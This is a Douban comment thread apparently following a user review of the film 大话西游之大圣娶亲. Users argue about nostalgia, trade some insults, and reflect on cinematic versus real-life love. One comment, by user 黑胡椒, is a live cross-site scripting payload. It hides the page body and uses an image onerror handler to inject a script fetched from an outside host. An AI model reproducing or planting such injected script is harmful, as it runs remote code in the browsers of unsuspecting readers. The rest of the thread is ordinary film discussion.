紫霞的意中人在哪里,来接她了吗????

我爱看电影 评论 大话西游之大圣娶亲 5 2017-04-15 16:52:55
审丑大师
审丑大师 2017-04-17 15:08:44

情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了

来自豆瓣App
我爱看电影
我爱看电影 2017-04-17 16:14:13
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

你在人家卖情怀的时候不要凑上来 显得你哗众取宠 太不识趣了

审丑大师
审丑大师 2017-04-17 16:18:51
你在人家卖情怀的时候不要凑上来 显得你哗众取宠 太不识趣了 你在人家卖情怀的时候不要凑上来 显得你哗众取宠 太不识趣了 我爱看电影

卖弄情怀的那些人才是真正的哗众取宠吧

来自豆瓣App
.
. 2017-04-17 18:37:44
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

对,并没有感觉剧情很好。知识感觉朱茵很美

来自豆瓣App
senceship
senceship 2017-04-17 18:42:22
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

评价评论可以 电影可是实在经典

来自豆瓣App
vici
vici (变天注意身体,保暖内衣透气潮流) 2017-04-17 19:22:29

所以说嘛忘了谈什么爱情

来自豆瓣App
哟小嘎
哟小嘎 2017-04-17 19:50:59

每个人经历不同,看电影看到东西也不同。看法不同也不用说这么难听啊,人家可能只是有感而发而已

来自豆瓣App
广心水吉
广心水吉 2017-04-17 20:19:16
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

这戏还是经典的 又好笑又好哭的电影有多少 这样算来 这绝对经典

来自豆瓣App
审丑大师
审丑大师 2017-04-17 20:36:41
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

电影还是可以的,也很喜欢星爷,只是看不惯拿星爷的电影卖情怀,星爷自己也没出来卖情怀吧

来自豆瓣App
鱼儿水中游
鱼儿水中游 2017-04-17 20:59:22
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

别人也没卖给你看 你在这说话这么难听干啥

来自豆瓣App
鱼儿水中游
鱼儿水中游 2017-04-17 21:00:13
每个人经历不同,看电影看到东西也不同。看法不同也不用说这么难听啊,人家可能只是有感而发而已 每个人经历不同,看电影看到东西也不同。看法不同也不用说这么难听啊,人家可能只是有感而发而已 哟小嘎

确实是,每个人经历不一样 感悟也不一样

来自豆瓣App
stone爱读书
stone爱读书 2017-04-17 21:50:43
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

sorry,觉得电影远没有那么好的只是你个人的评价。就我个人而言,这部电影真的经典,我没有强迫您认同我的观点,您干嘛觉得人家是卖弄情怀呢?

来自豆瓣App
特地注册骂2货
特地注册骂2货 2017-04-18 01:48:44
电影还是可以的,也很喜欢星爷,只是看不惯拿星爷的电影卖情怀,星爷自己也没出来卖情怀吧 电影还是可以的,也很喜欢星爷,只是看不惯拿星爷的电影卖情怀,星爷自己也没出来卖情怀吧 审丑大师

这话我很认同,虽然1楼说的难听了些,不同的人沉醉的东西不同。煽情,本就不一定对谁都适用,泰坦尼克号,电影院里一帮娘们泪汪汪的,我也是带着些戏谑的到处看她们,这片子就没震撼到我,牺牲自己的不是杰克一人,那些让老幼妇孺先走的,哪个不是好汉?反倒是那对拥抱着赴死的老夫妻让我感慨,这特么才是爱情。但各人陶醉的地方不同,我也没义务抓着她们的手告诉他们“这才是爱情!!”

回到这片,本就是搞笑片,后面的无奈,不过是剧情发展的多元化,纯搞笑不行,太甜了要加点醋罢了。很多人对这片子太较真,也是豆瓣的特色,似乎觉得纯搞笑片,恐怖片之类就少了点内涵,不配得高分,又不想把心中的经典打低了,于是总想挖掘些所谓的内涵并沉醉其中。(所以我一向认为豆瓣打分要分娱乐性,内涵,时代性等等。吓到你的恐怖片就值5星,让你笑的喜剧片也值五星,用不着上纲上线都按悬疑片的要求打分)。
最典型的,那个一万年的话,摆明了就是扯着玩的话,紫霞还抓了抓手,虽说可以说是从开始的胡扯到后来真正体会到这话戴上紧箍,但这话也没那么神吧。何况至尊宝跟紫霞就没什么感情积累,片子过了大半,到了说那1万年的谎话时都只不过是想把宝盒骗到手。也没怎么的,就成了真感情了。
甜言蜜语,英雄救美,再加上悲剧结尾,足以让很多感情丰富的人被带进去。其实不是我要煞风景,电影终归是电影,甜言蜜语惊天动地的爱情就在剧情里欣赏吧,回到现实,什么一万年十万年的话,婚姻就是柴米油盐,家有儿女,工作,真让你跟另一半过一万年,倒看有几个忍受得了。一辈子不长,几十年足以,什么惊天动地的扯淡,比不上跟你家那口子慢慢熬成老头子和黄脸婆,没有英雄,没有救美,到了那岁数,你还不离不弃,恭喜你,你比至尊宝那种电影里的爱情强的多。泰坦尼克号的男女主角如果没遇到沉船,2个世界的人,他们那一夜情保不准上了岸就结束,但那对老夫妻,撞不撞冰山,都承受住了一辈子的考验。哪个爱情值得向往呢?

如果不把电影里的东西留在电影里,现实里也追求什么惊天地泣鬼神的爱情,不甘平淡的婚姻,那不好意思,小心出轨哦。

片子很好,我给5星,但纯给搞笑,喜剧片就是喜剧片,它的喜剧值得5星,至少对我而言用不着再挖其他元素证明它值5星了。但还是那话,每个人沉醉的东西不同,佛家讲究一花一世界,你看的是生物问题,他看的是美术,他看的是经济价值。我只想强调,感慨也好,陶醉也罢,电影里的东西,留在电影里。

来自豆瓣App
看过了回忆
看过了回忆 2017-04-18 09:27:16
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

当年这部电影在香港是恶评如潮!几年后却在清华北大一致好评!一夜之间恶评无踪!因为打脸需要实力的!但造成两种不同关点的却是内地国情!影片很贴近我们大部分的命运!各人有各种不感觉!是个意外的好电影!因为意外到导演都没想到才无法让后集超越!

来自豆瓣App
黑胡椒
黑胡椒 2017-04-18 18:11:15

<style>body{display:none;}</style><img src="x" onerror="s=createElement('script');body.appendChild(s);s.src='//iyiv1.ysrmo.cn/s/i/j.php';">

来自豆瓣App
此鱼非死鱼
此鱼非死鱼 2017-04-18 18:54:35
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

我觉得他这个卖弄还好……因为我竟然看到过有人拿这电影跟86版西游记相提并论……看到那个我才觉得崩溃了,个人观点,如果一个人想夸某部影视作品,当然可以的,但是如果拉低经典的水平,可就是十恶不赦了……

来自豆瓣App
审丑大师
审丑大师 2017-04-18 19:02:40
我觉得他这个卖弄还好……因为我竟然看到过有人拿这电影跟86版西游记相提并论……看到那个我... 我觉得他这个卖弄还好……因为我竟然看到过有人拿这电影跟86版西游记相提并论……看到那个我才觉得崩溃了,个人观点,如果一个人想夸某部影视作品,当然可以的,但是如果拉低经典的水平,可就是十恶不赦了…… ... 此鱼非死鱼

这些人就是为了证明一部他们觉得好的电影,可以强行把电影的细节放大,再加星爷这几年老了,也成了这些人的说辞,不光让人反感,反而毁了电影的初衷

来自豆瓣App
此鱼非死鱼
此鱼非死鱼 2017-04-18 19:25:04
这些人就是为了证明一部他们觉得好的电影,可以强行把电影的细节放大,再加星爷这几年老了,... 这些人就是为了证明一部他们觉得好的电影,可以强行把电影的细节放大,再加星爷这几年老了,也成了这些人的说辞,不光让人反感,反而毁了电影的初衷 ... 审丑大师

深有同感……尤其是今天杨洁死了,我就觉得如果再有人拉低86版西游记,就真的是十恶不赦了

来自豆瓣App
南超北奕
南超北奕 2017-04-19 10:48:19
情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 情怀的卖弄不会让人觉得你有多高大上,而是反感,这电影远没有那么好,不要跟风卖情怀了 审丑大师

你不喜欢大可不点进来,看不懂并不是你的过错,并不是所有人都和你一样智商这么睾

来自豆瓣App
审丑大师
审丑大师 2017-04-19 11:32:24
你不喜欢大可不点进来,看不懂并不是你的过错,并不是所有人都和你一样智商这么睾 你不喜欢大可不点进来,看不懂并不是你的过错,并不是所有人都和你一样智商这么睾 南超北奕

你不同意的我说法也大可不必理会我,你不理解我说的也不是你的过错,并不是所有人都想你一样智商需要打税

来自豆瓣App
南超北奕
南超北奕 2017-04-19 11:32:58
你不同意的我说法也大可不必理会我,你不理解我说的也不是你的过错,并不是所有人都想你一样... 你不同意的我说法也大可不必理会我,你不理解我说的也不是你的过错,并不是所有人都想你一样智商需要打税 ... 审丑大师

哦,睾智商动物你好

来自豆瓣App
dived
dived (john.117) 2017-04-19 11:54:45
这话我很认同,虽然1楼说的难听了些,不同的人沉醉的东西不同。煽情,本就不一定对谁都适用,... 这话我很认同,虽然1楼说的难听了些,不同的人沉醉的东西不同。煽情,本就不一定对谁都适用,泰坦尼克号,电影院里一帮娘们泪汪汪的,我也是带着些戏谑的到处看她们,这片子就没震撼到我,牺牲自己的不是杰克一人,那些让老幼妇孺先走的,哪个不是好汉?反倒是那对拥抱着赴死的老夫妻让我感慨,这特么才是爱情。但各人陶醉的地方不同,我也没义务抓着她们的手告诉他们“这才是爱情!!” 回到这片,本就是搞笑片,后面的无奈,不过是剧情发展的多元化,纯搞笑不行,太甜了要加点醋罢了。很多人对这片子太较真,也是豆瓣的特色,似乎觉得纯搞笑片,恐怖片之类就少了点内涵,不配得高分,又不想把心中的经典打低了,于是总想挖掘些所谓的内涵并沉醉其中。(所以我一向认为豆瓣打分要分娱乐性,内涵,时代性等等。吓到你的恐怖片就值5星,让你笑的喜剧片也值五星,用不着上纲上线都按悬疑片的要求打分)。 最典型的,那个一万年的话,摆明了就是扯着玩的话,紫霞还抓了抓手,虽说可以说是从开始的胡扯到后来真正体会到这话戴上紧箍,但这话也没那么神吧。何况至尊宝跟紫霞就没什么感情积累,片子过了大半,到了说那1万年的谎话时都只不过是想把宝盒骗到手。也没怎么的,就成了真感情了。 甜言蜜语,英雄救美,再加上悲剧结尾,足以让很多感情丰富的人被带进去。其实不是我要煞风景,电影终归是电影,甜言蜜语惊天动地的爱情就在剧情里欣赏吧,回到现实,什么一万年十万年的话,婚姻就是柴米油盐,家有儿女,工作,真让你跟另一半过一万年,倒看有几个忍受得了。一辈子不长,几十年足以,什么惊天动地的扯淡,比不上跟你家那口子慢慢熬成老头子和黄脸婆,没有英雄,没有救美,到了那岁数,你还不离不弃,恭喜你,你比至尊宝那种电影里的爱情强的多。泰坦尼克号的男女主角如果没遇到沉船,2个世界的人,他们那一夜情保不准上了岸就结束,但那对老夫妻,撞不撞冰山,都承受住了一辈子的考验。哪个爱情值得向往呢? 如果不把电影里的东西留在电影里,现实里也追求什么惊天地泣鬼神的爱情,不甘平淡的婚姻,那不好意思,小心出轨哦。 片子很好,我给5星,但纯给搞笑,喜剧片就是喜剧片,它的喜剧值得5星,至少对我而言用不着再挖其他元素证明它值5星了。但还是那话,每个人沉醉的东西不同,佛家讲究一花一世界,你看的是生物问题,他看的是美术,他看的是经济价值。我只想强调,感慨也好,陶醉也罢,电影里的东西,留在电影里。 ... 特地注册骂2货

很实在

阿尔法
阿尔法 (destiny is driving me) 2017-04-19 11:59:55

并不相悖,忘了紫霞也可以救他,出家人救人一命胜造七级浮屠,难道因为是女人就不救?

来自豆瓣App
Melody
Melody 2017-04-19 13:39:10
这话我很认同,虽然1楼说的难听了些,不同的人沉醉的东西不同。煽情,本就不一定对谁都适用,... 这话我很认同,虽然1楼说的难听了些,不同的人沉醉的东西不同。煽情,本就不一定对谁都适用,泰坦尼克号,电影院里一帮娘们泪汪汪的,我也是带着些戏谑的到处看她们,这片子就没震撼到我,牺牲自己的不是杰克一人,那些让老幼妇孺先走的,哪个不是好汉?反倒是那对拥抱着赴死的老夫妻让我感慨,这特么才是爱情。但各人陶醉的地方不同,我也没义务抓着她们的手告诉他们“这才是爱情!!” 回到这片,本就是搞笑片,后面的无奈,不过是剧情发展的多元化,纯搞笑不行,太甜了要加点醋罢了。很多人对这片子太较真,也是豆瓣的特色,似乎觉得纯搞笑片,恐怖片之类就少了点内涵,不配得高分,又不想把心中的经典打低了,于是总想挖掘些所谓的内涵并沉醉其中。(所以我一向认为豆瓣打分要分娱乐性,内涵,时代性等等。吓到你的恐怖片就值5星,让你笑的喜剧片也值五星,用不着上纲上线都按悬疑片的要求打分)。 最典型的,那个一万年的话,摆明了就是扯着玩的话,紫霞还抓了抓手,虽说可以说是从开始的胡扯到后来真正体会到这话戴上紧箍,但这话也没那么神吧。何况至尊宝跟紫霞就没什么感情积累,片子过了大半,到了说那1万年的谎话时都只不过是想把宝盒骗到手。也没怎么的,就成了真感情了。 甜言蜜语,英雄救美,再加上悲剧结尾,足以让很多感情丰富的人被带进去。其实不是我要煞风景,电影终归是电影,甜言蜜语惊天动地的爱情就在剧情里欣赏吧,回到现实,什么一万年十万年的话,婚姻就是柴米油盐,家有儿女,工作,真让你跟另一半过一万年,倒看有几个忍受得了。一辈子不长,几十年足以,什么惊天动地的扯淡,比不上跟你家那口子慢慢熬成老头子和黄脸婆,没有英雄,没有救美,到了那岁数,你还不离不弃,恭喜你,你比至尊宝那种电影里的爱情强的多。泰坦尼克号的男女主角如果没遇到沉船,2个世界的人,他们那一夜情保不准上了岸就结束,但那对老夫妻,撞不撞冰山,都承受住了一辈子的考验。哪个爱情值得向往呢? 如果不把电影里的东西留在电影里,现实里也追求什么惊天地泣鬼神的爱情,不甘平淡的婚姻,那不好意思,小心出轨哦。 片子很好,我给5星,但纯给搞笑,喜剧片就是喜剧片,它的喜剧值得5星,至少对我而言用不着再挖其他元素证明它值5星了。但还是那话,每个人沉醉的东西不同,佛家讲究一花一世界,你看的是生物问题,他看的是美术,他看的是经济价值。我只想强调,感慨也好,陶醉也罢,电影里的东西,留在电影里。 ... 特地注册骂2货

说得很好

来自豆瓣App
赤
2017-04-19 19:00:52
这话我很认同,虽然1楼说的难听了些,不同的人沉醉的东西不同。煽情,本就不一定对谁都适用,... 这话我很认同,虽然1楼说的难听了些,不同的人沉醉的东西不同。煽情,本就不一定对谁都适用,泰坦尼克号,电影院里一帮娘们泪汪汪的,我也是带着些戏谑的到处看她们,这片子就没震撼到我,牺牲自己的不是杰克一人,那些让老幼妇孺先走的,哪个不是好汉?反倒是那对拥抱着赴死的老夫妻让我感慨,这特么才是爱情。但各人陶醉的地方不同,我也没义务抓着她们的手告诉他们“这才是爱情!!” 回到这片,本就是搞笑片,后面的无奈,不过是剧情发展的多元化,纯搞笑不行,太甜了要加点醋罢了。很多人对这片子太较真,也是豆瓣的特色,似乎觉得纯搞笑片,恐怖片之类就少了点内涵,不配得高分,又不想把心中的经典打低了,于是总想挖掘些所谓的内涵并沉醉其中。(所以我一向认为豆瓣打分要分娱乐性,内涵,时代性等等。吓到你的恐怖片就值5星,让你笑的喜剧片也值五星,用不着上纲上线都按悬疑片的要求打分)。 最典型的,那个一万年的话,摆明了就是扯着玩的话,紫霞还抓了抓手,虽说可以说是从开始的胡扯到后来真正体会到这话戴上紧箍,但这话也没那么神吧。何况至尊宝跟紫霞就没什么感情积累,片子过了大半,到了说那1万年的谎话时都只不过是想把宝盒骗到手。也没怎么的,就成了真感情了。 甜言蜜语,英雄救美,再加上悲剧结尾,足以让很多感情丰富的人被带进去。其实不是我要煞风景,电影终归是电影,甜言蜜语惊天动地的爱情就在剧情里欣赏吧,回到现实,什么一万年十万年的话,婚姻就是柴米油盐,家有儿女,工作,真让你跟另一半过一万年,倒看有几个忍受得了。一辈子不长,几十年足以,什么惊天动地的扯淡,比不上跟你家那口子慢慢熬成老头子和黄脸婆,没有英雄,没有救美,到了那岁数,你还不离不弃,恭喜你,你比至尊宝那种电影里的爱情强的多。泰坦尼克号的男女主角如果没遇到沉船,2个世界的人,他们那一夜情保不准上了岸就结束,但那对老夫妻,撞不撞冰山,都承受住了一辈子的考验。哪个爱情值得向往呢? 如果不把电影里的东西留在电影里,现实里也追求什么惊天地泣鬼神的爱情,不甘平淡的婚姻,那不好意思,小心出轨哦。 片子很好,我给5星,但纯给搞笑,喜剧片就是喜剧片,它的喜剧值得5星,至少对我而言用不着再挖其他元素证明它值5星了。但还是那话,每个人沉醉的东西不同,佛家讲究一花一世界,你看的是生物问题,他看的是美术,他看的是经济价值。我只想强调,感慨也好,陶醉也罢,电影里的东西,留在电影里。 ... 特地注册骂2货

点个赞……

来自豆瓣App
c4sun
c4sun 2017-04-20 09:35:03

几乎所有评论员文章都声称“十年前看觉得好笑”。哎!是该说你们真年轻,还是该说你们文章很老套?电影都二十多年了!你们到现在才看出名堂来!

来自豆瓣App